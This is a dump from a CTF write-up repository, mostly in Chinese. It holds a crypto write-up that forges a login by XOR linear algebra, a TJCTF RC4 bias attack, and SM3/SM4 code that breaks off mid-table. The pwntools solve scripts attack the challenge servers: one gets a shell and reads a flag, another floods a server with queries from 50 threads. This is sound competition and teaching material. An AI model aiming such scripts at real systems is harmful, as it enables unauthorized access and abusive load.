[16]: b = 200 106 | 107 | In [17]: for i in range(1,200): 108 | ...: a+=math.factorial(200)/(math.factorial(200-i)*math.factorial(i)) 109 | ...: 110 | ...: 111 | 112 | In [18]: print a 113 | 1606938044258990275541962092341162602522202993782792835301374 114 | 115 | In [19]: a>n#n=0x8f643bbafa959617b12b591f3145e5c0 116 | Out[19]: True 117 | 118 | In [20]: a//n 119 | Out[20]: 4722366482869645213695L 120 | ``` 121 | 因为目标hash的长度为128bit,我们得到128对(plaintext-ciphertext)就能在ciphertext的子集里xor后得到目标hash. 122 | 这里想到了[背包求解](https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/knapsack/knapsack/),构造着发现xor不能放入矩阵中,又不是超递增序列,xd,放弃。 123 | **换方向,要不是算法?** 124 | [google看看](https://www.geeksforgeeks.org/count-number-of-subsets-having-a-particular-xor-value/) 125 | 动态规划? 126 | 试了试,放弃了,空间换时间,但是需要的空间太大了。 127 | **bingo** 128 | 128bit xor?高斯消元问题(我好菜啊) 129 | 转换成128个mod2的方程,生成方程脚本。 130 | 131 | -------------- 132 | ```python 133 | pubKey = [113602217935607289453201245405212005384L, 269903559201925776990330113614440744455L, 241565958944381636901648516767764106171L, 293672457538477642706410811981171228129L, 272079616170753890530117150285282929599L, 269802233640074548208254108223689761648L, 32133977644431573130477059196438070444L, 168481870008700738830294105175750796933L, 334922603314748487392344955780653300791L, 229414278903494832894227239178044704871L, 314703640767546154017347102168549516178L, 229972393494801775976797693407437555074L, 125452168836448551076922910806630459951L, 262636539008753216495347364077806328737L, 303348595956025858261652430594209650251L, 132672121569498985439667061816466777526L, 89476347243353865055927706682672438996L, 286115169586201751228609487648065866581L, 38893596458691279680158477802167839522L, 110805151320319006854019117500520175271L, 217194583637807804833392150804070536402L, 283037099573651336758040780021200142310L, 7196865238995195499778618888341499355L, 284856974763903941648686303990344767756L, 46821015876162010421748088382302560276L, 45388127152583280472844240800679060217L, 146834781513464544824789678632912373136L, 310644875230998320116732885820655222497L, 131576182487433797424666312540180389984L, 171632252297102443689664876555372193475L, 317207614102114190031478247173880580720L, 2019229043570815776979555681544956730L, 245332635870108819924360320160703080019L, 239746812010932291984386741568646528638L, 228150701255382534989917544119797599448L, 185329463144774238518171826187628783159L, 158422852548138928063071348282524371388L, 158047794225017117130631522128526938570L, 90002203713415179765155403291211983672L, 76183402577795977133563149834619010424L, 327033792199131907487376336916299010622L, 118110037947296269297522351912372815433L, 321331302318616639237472643742369122434L, 289871679349655287280426454891864460350L, 75896741940518641522389176253255931779L, 197528980393672022096646323382660721736L, 115267970274030551815131740534349838092L, 49128996804450313910781079594870471752L, 123453828800152009102665156279329464542L, 130762113187729390222390303095979243117L, 61962357689242046630039464984615623418L, 140348449816079277411275534159670289956L, 33935328799922823116297326841875084885L, 35446070094974416393317951914222282384L, 140292576835520415898099759285324407527L, 147146547617559489772915310720919332096L, 89646310806806036514713906069580365796L, 146874883014409295818531141503483994057L, 215437059004110248276750706046950925500L, 188221500525429520226503459794681179563L, 107972196836043571189384335713705530585L, 319718467664145050267908415211752615178L, 33790415791374444635822170504733312663L, 268800796979802432176455203809128526484L, 80514653928319629483719911526029943056L, 135353781885361716043230856191705908194L, 248180642408496061561454976433206893558L, 167655055161390482231544772656939164871L, 190331929667729623461110734835852719728L, 187872543812390919449231797787200390383L, 731101207891086255367024962539452869L, 331480993999803516069715352266054794594L, 85051118383149231027697337373798989241L, 47155605115554939334278125433372864400L, 121571815342736079022184219812503381803L, 263897155994150599327720693337921055396L, 54773392672203757877373626108902217120L, 138230004851931690176273198756282683622L, 283961092605567520993276283761367292625L, 287427965518330255286468485630091923645L, 46048869046414685264563278604990544304L, 243992658215021478151816473612407007169L, 338863296884167753624774150576543762901L, 249144433185189696822461918937843402675L, 174818984157084863003810504402963987843L, 49928437897272681604945166345382507316L, 169811917566691913816282203750125937825L, 248050233964070849706166860569612457954L, 1520258942159896323411963668751448396L, 333903589113355008603671520689640095324L, 337283667498635266986955607930131881010L, 197275029571731159274404014534356327324L, 129127001502279772254983153277368979360L, 177664913726081238004970583318541857889L, 85345496984135463087607716053977274319L, 91067168265864964696323804190072902614L, 192313254602131543459595847451029739619L, 112569030115633226287082881409522972259L, 150001238724700829259323667615673880452L, 78068730795594359467947320547021453088L, 164343369109346155112267741409523371420L, 228295673936931267244009383358414484278L, 66434581323900441939497595202767346873L, 312252109240210724403681095721447485886L, 179536901124859573787240720578905054392L, 265439400460700457940046726125324252004L, 241729208168572831927145640303669387214L, 224337267414262612853089595775967279611L, 211673272870623245856836660056154165887L, 88864449641825470063121187794230717364L, 73583051201515982281955717688769709645L, 260362752765785315958751287873241950198L, 52643190122666891387028838978738517195L, 154358808680938772019044733343352311407L, 196770985680500542539525268347680436167L, 328641879029504610590589570948678125864L, 24055869246749042499776225701332337057L, 38962078756404369905292170184025166626L, 170464594782261344004111979932874732922L, 232969215105220038515319207645195415802L, 208232609530347149967744742865898294226L, 275011224471984173494987769795990207177L, 308448887477339611643764297681803645311L, 39333230010553686835704431573974868722L, 280137539273739588435755948932899843402L, 253559907074997393930500823898473019197L, 125435856573771157299386612169553004907L, 115668627810610406030382750471801939809L, 23014601533775013085562579636743156201L, 11638513728055365905389210485318791555L,98597860941506298802187660394195423776L, 304512308993000256655319287612711900807L, 14613834564922699655380962015367927765L, 246925452458798984849277761651527906021L, 163938503868483016450886771295612831911L, 109796792849187331500478984080856610695L, 199759177923708969317747029879348989258L, 331339365629637604448480638753676331661L, 12422981147352332285955737972268754463L, 332030753925344401561153559659396583657L] 134 | target = 0x8f643bbafa959617b12b591f3145e5c0 135 | pubKey = pubKey[:128] 136 | def _pkcs7pad(s, blksize=16): 137 | missing = abs(len(s) - (len(s) / blksize + 1) * blksize) 138 | return s + (chr(missing) * missing) 139 | print len(pubKey) 140 | for i in range(0,128): 141 | txt = "" 142 | for j in pubKey: 143 | if bin(j)[2:].zfill(128)[i] =="1": 144 | txt+="a"+str(pubKey.index(j))+"+" 145 | txt= txt[:-1]+"=="+bin(target)[2:].zfill(128)[i] 146 | print txt 147 | ``` 148 | 这里我用wolfram mathematics求解(脚本见附件) 149 | 150 | --------------------------- 151 | 从结果可知,多解,C[1]为0,1均可,这里我取c[1]=0,得到了一组sublist :`out = [2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,97,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127] 152 | ` 153 | 验证结果: 154 | ```python 155 | In [71]: print a 156 | [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 35, 36, 38, 40, 43, 45, 47, 48, 49, 51, 52, 54, 57, 59, 62, 63, 64, 68, 71, 73, 75, 79, 80, 81, 87, 89, 90, 92, 93, 94, 97, 98, 99, 101, 103, 105, 106, 111, 115, 116, 117, 118, 120, 121, 122, 123, 124, 126, 127] 157 | 158 | In [72]: a= [2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47 159 | ...: ,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,9 160 | ...: 7,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127 161 | ...: ] 162 | 163 | In [73]: 164 | 165 | In [73]: txt=0 166 | ...: for i in a: 167 | ...: txt^=pubKey[i] 168 | ...: 169 | 170 | In [74]: 171 | 172 | In [74]: print hex(txt) 173 | 0x8f643bbafa959617b12b591f3145e5c0L 174 | ``` 175 | 求解: 176 | ```python 177 | from pwn import * 178 | 179 | context.log_level = "debug" 180 | # f = open("rockyou.txt","rb").read().split("\n")[::-1] 181 | test = [] 182 | def _pkcs7pad(s, blksize): 183 | missing = abs(len(s) - (len(s) / blksize + 1) * blksize) 184 | return s + (chr(missing) * missing) 185 | out = [2,4,5,9,10,11,12,13,16,17,22,24,27,28,30,31,32,35,36,38,40,43,45,47,48,49,51,52,54,57,59,62,63,64,68,71,73,75,79,80,81,87,89,90,92,93,94,97,98,99,101,103,105,106,111,115,116,117,118,120,121,122,123,124,126,127] 186 | aeshash = "" 187 | for i in out[:-1]: 188 | aeshash+=_pkcs7pad(str(i),16) 189 | aeshash+=str(out[-1]) 190 | print len(aeshash) 191 | print repr(aeshash) 192 | for i in range(130,140): 193 | io = remote("178.128.171.133", 3333) 194 | 195 | io.recvuntil("user: ") 196 | 197 | # io.sendline() 198 | 199 | # io.recvuntil("user: ") 200 | 201 | io.sendline(aeshash) 202 | 203 | io.recvuntil("password: ") 204 | 205 | io.sendline() 206 | 207 | data = io.recvuntil("Logged in as") 208 | 209 | io.interactive() 210 | ``` 211 | ```bash 212 | # $ cat invoice.xls 213 | [DEBUG] Sent 0x10 bytes: 214 | 'cat invoice.xls\n' 215 | [DEBUG] Received 0x24 bytes: 216 | 'SECT{...1_w4s_ly1ng_0f_c0urse_LuLz}\n' 217 | SECT{...1_w4s_ly1ng_0f_c0urse_LuLz} 218 | [DEBUG] Received 0x2 bytes: 219 | '# ' 220 | # $ 221 | ``` 222 | > 总结: 算法需要加强,怼题不能放弃,不要以分数为目的而不停的换题做。 -------------------------------------------------------------------------------- /2018/tjctf_2018/README.md: -------------------------------------------------------------------------------- 1 | # tjctf 2018 2 | - [crypto](#crypto) 3 | - [Permutations](#permutations) 4 | - [affine](#affine) 5 | ## crypto 6 | ### Permutations 7 | This is a normal RC4, we can send 10 bytes mask "abcdefghij" permutations to the server, and the server will map the mask to message and then encrypt the message every time with RC4 and urandom(16) keys. 8 | the task file: 9 | ```python 10 | #!/usr/bin/env python3 11 | from os import urandom 12 | from itertools import permutations 13 | 14 | def ksa(key): 15 | permS = [] 16 | for x in range(256): 17 | permS.append(x) 18 | j = 0 19 | for x in range(256): 20 | j = (j+permS[x]+key[x%16])%256 21 | temp = permS[x] 22 | permS[x] = permS[j] 23 | permS[j] = temp 24 | return permS 25 | def prga(S, mes): 26 | x = 0 27 | y = 0 28 | mes = bytearray(mes, "utf_8") 29 | cipher = "" 30 | stream = bytearray() 31 | for z in range(len(mes)): 32 | x = (x+1)%256 33 | y = (y+S[x])%256 34 | temp = S[x] 35 | S[x] = S[y] 36 | S[y] = temp 37 | stream.append(S[(S[x]+S[y])%256]) 38 | op = str(hex(mes[z]^stream[z])) 39 | if len(op)%2 != 0: 40 | cipher += "0"+op[2:] 41 | else: 42 | cipher += op[2:] 43 | return cipher 44 | mask = "abcdefghij" 45 | message = xxxxxxxxxx 46 | mestomask = {} 47 | masktomes = {} 48 | for x in range(len(mask)): 49 | mestomask[message[x]] = mask[x] 50 | masktomes[mask[x]] = message[x] 51 | def change(maskmes): 52 | out="" 53 | for x in maskmes: 54 | out += masktomes[x] 55 | return out 56 | 57 | while True: 58 | print("Enter a permutation of abcdefghij and I'll encrypt the corresponding message! ") 59 | i = input() 60 | if len(i) == len(mask) and set(i) == set(mask): 61 | em = change(i) 62 | key = urandom(16) 63 | tS = ksa(key) 64 | ct = prga(tS, em) 65 | print(ct) 66 | ``` 67 | analysis RC4, we can find the only thing that counts is KSA function, which generates a 256 sequence based on the key, the smallest operation is byte. So we can analysis the every position of the keystream. Base on analysis, the first byte is random generate keystream. So we take a look at the second byte of the keysteam. 68 | from the result of analysis_rc4.py the second byte more like to be 0x00, So we can query many times on the same permutation("abcdefghij") to get the ciphertext (down.py) and count the most often byte in the second position, this the message[1] , and repeat to get all message. 69 | ```python 70 | data = open("fix10","rb").read().split("\n") 71 | out = {} 72 | for i in data: 73 | if not out.has_key(i[2:4]): 74 | out[i[2:4]] = 1 75 | else:out[i[2:4]]+=1 76 | print sorted(out.items(),key = lambda item:item[1]) 77 | #message:ohbyteRC4! 78 | #tjctf{ohbyteRC4!} 79 | ``` 80 | flag:tjctf{ohbyteRC4!} 81 | 82 | ### affine 83 | Håstad’s Broadcast Attack with linear padding 84 | reference:http://duksctf.github.io/2017/04/22/PCTF2017-Multicast.html 85 | -------------------------------------------------------------------------------- /2018/tjctf_2018/analysis_rc4.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from os import urandom 3 | 4 | def ksa(key): 5 | permS = [] 6 | for x in range(256): 7 | permS.append(x) 8 | j = 0 9 | for x in range(256): 10 | j = (j+permS[x]+ord(key[x%len(key)]))%256 11 | temp = permS[x] 12 | permS[x] = permS[j] 13 | permS[j] = temp 14 | return permS 15 | def prga(S, length): 16 | x = 0 17 | y = 0 18 | keystream = [] 19 | for z in range(length): 20 | x = (x+1)%256 21 | y = (y+S[x])%256 22 | temp = S[x] 23 | S[x] = S[y] 24 | S[y] = temp 25 | keystream.append(S[(S[x]+S[y])%256]) 26 | return keystream 27 | analysis = {} 28 | key_len = 16 29 | for i in range(0,100000): 30 | key = urandom(key_len) 31 | tS = ksa(key) 32 | out = prga(tS, key_len) 33 | ct = out[1] 34 | if not ct in analysis: 35 | analysis[ct] = 1 36 | else:analysis[ct] = analysis[ct]+1 37 | print sorted(analysis.items(),key = lambda item:item[1]) -------------------------------------------------------------------------------- /2018/tjctf_2018/down.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import threading 3 | mutex = threading.Lock() 4 | 5 | def worker(): 6 | print "Thread started" 7 | while True: 8 | c = connect("problem1.tjctf.org", 8007) 9 | for _ in range(30): 10 | a = [] 11 | for __ in range(40): 12 | c.recv() 13 | c.sendline("bjacdefghi") 14 | a.append(c.recvline()) 15 | mutex.acquire() 16 | f = open("fix10", "a") 17 | f.write("".join(a)) 18 | f.close() 19 | mutex.release() 20 | 21 | for i in range(50): 22 | threading.Thread(target=worker).start() -------------------------------------------------------------------------------- /2018/tjctf_2018/out.txt: -------------------------------------------------------------------------------- 1 | [(114, 347), (113, 352), (180, 353), (53, 354), (120, 354), (168, 354), (198, 354), (178, 355), (215, 355), (107,356), (49, 357), (106, 357), (152, 357), (167, 357), (172, 357), (240, 357), (2, 358), (99, 359), (181, 359), (214, 360), (203, 362), (253, 362), (17, 363), (59, 364), (136, 364), (141, 364), (190, 364), (54, 365), (108, 365), (123, 365), (21, 366), (118, 367), (96, 368), (103, 368), (105, 368), (109, 368), (211, 369), (219, 369), (225, 369), (16, 370), (140, 370), (226, 370), (46, 371), (24, 372), (124, 372), (126, 372), (238, 372), (163, 373), (176,373), (130, 374), (201, 374), (204, 374), (210, 374), (222, 374), (6, 375), (67, 375), (90, 375), (91, 375), (100, 375), (248, 375), (154, 376), (184, 376), (239, 376), (10, 377), (36, 377), (171, 377), (41, 378), (61, 378), (193, 378), (246, 378), (8, 379), (62, 379), (111, 379), (127, 379), (148, 379), (195, 379), (15, 380), (65, 380), (72, 380), (79, 380), (88, 380), (224, 380), (40, 381), (139, 381), (223, 381), (92, 382), (191, 382), (231, 382), (12, 383), (73, 383), (228, 383), (236, 383), (244, 383), (254, 383), (37, 384), (42, 384), (81, 384), (83, 384), (89, 384), (196, 384), (135, 385), (165, 385), (45, 386), (56, 386), (110, 386), (220, 386), (97, 387), (161, 387), (188, 387), (241, 387), (95, 388), (101, 388), (132, 388), (149, 388), (230, 388), (255, 388), (13, 389), (35, 389), (70, 389), (93, 389), (151, 389), (153, 389), (212, 389), (11, 390), (34, 390), (94, 390), (98, 390), (169, 390), (170, 390), (173, 390), (182, 390), (221, 390), (9, 391), (64, 391), (78, 391), (125, 391), (133, 391), (157,391), (22, 392), (86, 392), (166, 392), (186, 392), (227, 392), (245, 392), (20, 393), (51, 393), (68, 393), (75,393), (87, 393), (213, 393), (247, 393), (28, 394), (50, 394), (137, 394), (150, 394), (164, 394), (185, 394), (229, 394), (242, 394), (44, 395), (115, 395), (117, 395), (129, 395), (147, 395), (205, 395), (38, 396), (55, 396),(77, 396), (156, 396), (179, 396), (5, 397), (14, 397), (74, 397), (128, 397), (27, 398), (48, 398), (76, 398), (112, 398), (159, 398), (177, 398), (250, 398), (4, 399), (69, 399), (142, 399), (146, 399), (175, 399), (33, 400),(60, 400), (122, 400), (189, 400), (202, 400), (32, 401), (71, 401), (160, 401), (232, 401), (29, 402), (80, 403), (134, 403), (138, 403), (207, 403), (26, 404), (66, 404), (52, 405), (104, 405), (200, 405), (234, 405), (249, 405), (47, 406), (82, 406), (144, 406), (251, 406), (3, 407), (23, 407), (57, 407), (162, 407), (206, 407), (19, 408), (39, 408), (63, 408), (155, 408), (216, 408), (43, 409), (84, 409), (121, 409), (243, 409), (58, 410), (131, 411), (192, 413), (25, 414), (31, 414), (85, 414), (145, 414), (183, 414), (194, 414), (199, 414), (208, 414), (174, 415), (235, 415), (237, 416), (209, 417), (1, 418), (143, 418), (18, 419), (30, 420), (187, 421), (233, 421), (252, 422), (158, 423), (218, 423), (119, 429), (116, 431), (197, 434), (217, 434), (7, 435), (102, 444), (0, 757)] 2 | -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/SM3.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8-*- 2 | ''' 3 | Created on 2016-4-7 4 | 5 | @author: 014731 6 | ''' 7 | 8 | from common import * 9 | ''' 10 | IV:初始值,用于确定压缩函数寄存器的初态 11 | ''' 12 | IV = (0x7380166f, 0x4914b2b9, 0x172442d7, 0xda8a0600, 0xa96f30bc, 0x163138aa, 0xe38dee4d, 0xb0fb0e4e) 13 | 14 | ''' 15 | T(j):常量,随j的变化取不同的值 16 | ''' 17 | T0_15 = 0x79cc4519 18 | T16_63= 0x7a879d8a 19 | 20 | ''' 21 | SM3支持的消息最大比特长度 22 | ''' 23 | SM3_MSG_MAX_BITS = 2 << 63 24 | 25 | ''' 26 | FF(j):布尔函数,随j的变化取不同的表达式 27 | GG(j):布尔函数,随j的变化取不同的表达式 28 | ''' 29 | def _ff_0_15(x, y, z): 30 | ''' 31 | FF(j):布尔函数 0<=j<=15 32 | ''' 33 | if is_word(x) == False: 34 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 35 | if is_word(y) == False: 36 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % y) 37 | if is_word(z) == False: 38 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % z) 39 | 40 | return x ^ y ^ z 41 | 42 | def _ff_16_63(x, y, z): 43 | ''' 44 | FF(j):布尔函数 16<=j<=63 45 | ''' 46 | if is_word(x) == False: 47 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 48 | if is_word(y) == False: 49 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % y) 50 | if is_word(z) == False: 51 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % z) 52 | 53 | return (x & y)|(x & z)|(y & z) 54 | 55 | def _gg_0_15(x, y, z): 56 | ''' 57 | GG(j):布尔函数 0<=j<=15 58 | ''' 59 | if is_word(x) == False: 60 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 61 | if is_word(y) == False: 62 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % y) 63 | if is_word(z) == False: 64 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % z) 65 | 66 | return x ^ y ^ z 67 | 68 | def _gg_16_63(x, y, z): 69 | ''' 70 | GG(j):布尔函数 16<=j<=63 71 | ''' 72 | if is_word(x) == False: 73 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 74 | if is_word(y) == False: 75 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % y) 76 | if is_word(z) == False: 77 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % z) 78 | 79 | return (x & y)|((~x) & z) 80 | 81 | 82 | def _p0_conv(x): 83 | ''' 84 | P0:压缩函数中的置换函数 85 | ''' 86 | if is_word(x) == False: 87 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 88 | 89 | return x ^ lrotate(x, 9) ^ lrotate(x, 17) 90 | 91 | def _p1_conv(x): 92 | ''' 93 | P1:压缩函数中的置换函数 94 | ''' 95 | if is_word(x) == False: 96 | raise Exception('源数据[%X]不在word定义范围[0x00000000 - 0xFFFFFFFF],不能进行变换计算' % x) 97 | 98 | return x ^ lrotate(x, 15) ^ lrotate(x, 23) 99 | 100 | def _sm3_message_pad(message): 101 | ''' 102 | 假设消息m 的长度为L比特。首先将比特'1'添加到消息的末尾,再添加k 个'0',k是满 103 | 足L + 1 + k与448 mod 512 同余((L+1+k) mod 512 = 448 % 512) 的最小的非负整数。然后再添加一个64位比特串,该比特串是长度L的二进 104 | 制表示。填充后的消息m′的比特长度为512的倍数。 105 | ''' 106 | if len(message) % 2 != 0: 107 | raise Exception('待填充数据长度[%s]错误,需要为2的整倍数' % len(message)) 108 | 109 | if IsHexCharacter(message) == False: 110 | raise Exception('待填充数据含有非法字符(非16进制字符)') 111 | 112 | len_bits = len(message) * 4 113 | ''' 114 | 搜寻k值 115 | ''' 116 | k = 7 117 | while True: 118 | if (len_bits + 1 + k) % 512 == 448 % 512: 119 | break 120 | else: 121 | k += 8 122 | ''' 123 | 填充1个'1',再填充k个'0' 124 | ''' 125 | padmsg = message + '80' 126 | out_format = '%%0%dX' % ((k-7)/4) 127 | padmsg += out_format % 0x00 128 | 129 | ''' 130 | 填充长度 131 | ''' 132 | padmsg += '%016X' % len_bits 133 | 134 | if (len(padmsg) * 4) % 512 != 0: 135 | raise Exception('填充后数据长度[%d]错误, 必须为512整数倍' % len(padmsg)) 136 | 137 | return (padmsg, len(padmsg) * 4) 138 | 139 | class SM3(object): 140 | ''' 141 | SM3密码杂凑算法 142 | ''' 143 | def __init__(self, srcmsg = '00'): 144 | self.message, self.length = _sm3_message_pad(srcmsg) 145 | 146 | def __str__(self): 147 | return 'SM3 object :\nmessage : %s\nlength : %d bits\n' % (self.message, self.length) 148 | 149 | def _cf_process(self, iv, message_group): 150 | ''' 151 | CF压缩函数 152 | iv : int 153 | message_group : hexstring 154 | ''' 155 | try: 156 | W, WE = self._message_extend(message_group) 157 | except Exception, e: 158 | raise Exception(e) 159 | ''' 160 | for num in W: 161 | print '%08X' % num 162 | for num in WE: 163 | print '%08X' % num 164 | ''' 165 | A = iv[0] 166 | B = iv[1] 167 | C = iv[2] 168 | D = iv[3] 169 | E = iv[4] 170 | F = iv[5] 171 | G = iv[6] 172 | H = iv[7] 173 | 174 | # print '迭代压缩中间值:\n j A B C D E F G H ' 175 | # print 'iv %08X %08X %08X %08X %08X %08X %08X %08X' % (A,B,C,D,E,F,G,H) 176 | 177 | for i in xrange(0, 63 + 1): 178 | if 0 <= i <= 15: 179 | SS1 = lrotate((lrotate(A, 12) + E + lrotate(T0_15, i))%(2<<31), 7) 180 | else: 181 | if i <= 32: 182 | SS1 = lrotate((lrotate(A, 12) + E + lrotate(T16_63, i))%(2<<31), 7) 183 | else: 184 | SS1 = lrotate((lrotate(A, 12) + E + lrotate(T16_63, abs(32 - i)))%(2<<31), 7) 185 | 186 | SS2 = SS1 ^ lrotate(A, 12) 187 | 188 | if 0 <= i <= 15: 189 | TT1 = (_ff_0_15(A, B, C) + D + SS2 + WE[i])%(2<<31) 190 | TT2 = (_gg_0_15(E, F, G) + H + SS1 + W[i])%(2<<31) 191 | else: 192 | if i == 16: 193 | pass 194 | TT1 = (_ff_16_63(A, B, C) + D + SS2 + WE[i])%(2<<31) 195 | TT2 = (_gg_16_63(E, F, G) + H + SS1 + W[i])%(2<<31) 196 | 197 | D = C 198 | C = lrotate(B, 9) 199 | B = A 200 | A = TT1 201 | H = G 202 | G = lrotate(F, 19) 203 | F = E 204 | E = _p0_conv(TT2) 205 | # print '%02d %08X %08X %08X %08X %08X %08X %08X %08X' % (i, A,B,C,D,E,F,G,H) 206 | 207 | return (A^iv[0], B^iv[1], C^iv[2], D^iv[3], E^iv[4], F^iv[5], G^iv[6], H^iv[7]) 208 | 209 | def _message_extend(self, message_group): 210 | ''' 211 | W(j)生成, 消息扩展, 返回 (W, WE) 212 | ''' 213 | if IsHexCharacter(message_group) == False: 214 | raise Exception('分组消息含有非法字符(非16进制字符)') 215 | 216 | if len(message_group) % 16 != 0: 217 | raise Exception('用于扩展的分组消息长度[%d]错误' % len(message_group)) 218 | 219 | W = [] 220 | WE = [] 221 | ''' 222 | W0 - W15 223 | ''' 224 | position = 0 225 | while True: 226 | W.append(int(message_group[position:position + 8], 16)) 227 | position += 8 228 | if len(message_group) == position: 229 | break 230 | 231 | ''' 232 | W16 - W67 233 | ''' 234 | for i in xrange(16, 67 + 1): 235 | rspP1 = _p1_conv(W[i - 16] ^ W[i - 9] ^ lrotate(W[i - 3], 15)) 236 | W.append(rspP1 ^ lrotate(W[i - 13], 7) ^ W[i - 6]) 237 | 238 | ''' 239 | WE0 - WE63 240 | ''' 241 | for i in xrange(0, 63 + 1): 242 | WE.append(W[i] ^ W[i+4]) 243 | 244 | return (W, WE) 245 | 246 | def sm3_hash(self): 247 | ''' 248 | SM3 计算杂凑值 249 | ''' 250 | n = self.length / 512 251 | position = 0 252 | v = [] 253 | v.append(IV) 254 | for i in xrange(0, n): 255 | v.append(self._cf_process(v[i], self.message[position: position + 128])) 256 | 257 | position += 128 258 | if len(self.message) == position: 259 | break 260 | return '%08X%08X%08X%08X%08X%08X%08X%08X' % (v[len(v)-1]) 261 | 262 | #--------------------------------------------------------------------------------------------- 263 | if __name__ == '__main__': 264 | message = 'ab' 265 | sm3 = SM3(message) 266 | print sm3.__str__() 267 | print '\nHASH: %s' % sm3.sm3_hash() 268 | print '-'*120 269 | message = '04D24163C411A9D03A3B77A082B29064CAD7A3FA737C13667D6F67760D9C86A984A0A1DDEAFD0A8C4B5F7223EA64D5CFB70BD29F4AC33FB343069DC4E499E8D354649444570F02F46319B5927DE7E09210FEEFDA4D5847BC4204B159D45517040B1C6A' 270 | sm3 = SM3(message) 271 | print sm3.__str__() 272 | print '\nHASH: %s' % sm3.sm3_hash() 273 | print '-'*120 -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/SM3.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7feilee/ctf_writeup/eb95f893b4ec6e320c3ef1eeb5966706d991f4f4/2018/网鼎杯final_tasks/SM3.pyc -------------------------------------------------------------------------------- /2018/网鼎杯final_tasks/SM4.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8-*- 2 | ''' 3 | Created on 2016-4-6 4 | 5 | @author: 014731 6 | ''' 7 | 8 | import common 9 | 10 | ''' 11 | FK=(FK0, FK1, FK2, FK3)为系统参数,CK=(CK0, CK1,…, CK31)为固定参数, 12 | 用于密钥扩展算法,其中FKi(i=0,…,3)、CKi(i=0,…,31)为字。 13 | FK与CK值由国家密码算法规范指定 14 | ''' 15 | SM4_FK = (0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC) 16 | SM4_CK = (0X00070E15, 0X1C232A31, 0X383F464D, 0X545B6269, 17 | 0X70777E85, 0X8C939AA1, 0XA8AFB6BD, 0XC4CBD2D9, 18 | 0XE0E7EEF5, 0XFC030A11, 0X181F262D, 0X343B4249, 19 | 0X50575E65, 0X6C737A81, 0X888F969D, 0XA4ABB2B9, 20 | 0XC0C7CED5, 0XDCE3EAF1, 0XF8FF060D, 0X141B2229, 21 | 0X30373E45, 0X4C535A61, 0X686F767D, 0X848B9299, 22 | 0XA0A7AEB5, 0XBCC3CAD1, 0XD8DFE6ED, 0XF4FB0209, 23 | 0X10171E25, 0X2C333A41, 0X484F565D, 0X646B7279) 24 | ''' 25 | S 盒为固定的 8 比特输入 8 比特输出的置换,记为 Sbox(.) 26 | S盒阵列值由国家密码算法规范指定 27 | ''' 28 | SM4_SBOX = [0XD6, 0X90, 0XE9, 0XFE, 0XCC, 0XE1, 0X3D, 0XB7, 0X16, 0XB6, 0X14, 0XC2, 0X28, 0XFB, 0X2C, 0X05, 29 | 0X2B, 0X67, 0X9A, 0X76, 0X2A, 0XBE, 0X04, 0XC3, 0XAA, 0X44, 0X13, 0X26, 0X49, 0X86, 0X06, 0X99, 30 | 0X9C, 0X42, 0X50, 0XF4, 0X91, 0XEF, 0X98, 0X7A, 0X33, 0X54, 0X0B, 0X43, 0XED, 0XCF, 0XAC, 0X62, 31 | 0XE4, 0XB3, 0X1C, 0XA9, 0XC9, 0X08, 0XE8, 0X95, 0X80, 0XDF, 0X94, 0XFA, 0X75, 0X8F, 0X3F, 0XA6, 32 | 0X47, 0X07, 0XA7, 0XFC, 0XF3, 0X73, 0X17, 0XBA, 0X83, 0X59, 0X3C, 0X19, 0XE6, 0X85, 0X4F, 0XA8, 33 | 0X68, 0X6B, 0X81, 0XB2, 0X71, 0X64, 0XDA, 0X8B, 0XF8, 0XEB, 0X0F, 0X4B, 0X70, 0X56, 0X9D, 0X35, 34 | 0X1E, 0X24, 0X0E, 0X5E, 0X63, 0X58, 0XD1, 0XA2, 0X25, 0X22, 0X7C, 0X3B, 0X01, 0X21, 0X78, 0X87, 35 | 0XD4, 0X00, 0X46, 0X57, 0X9F, 0XD3, 0X27, 0X52, 0X4C, 0X36, 0X02, 0XE7, 0XA0, 0XC4, 0XC8, 0X9E, 36 | 0XEA, 0XBF, 0X8A, 0XD2, 0X40, 0XC7, 0X38, 0XB5, 0XA3, 0XF7, 0XF2, 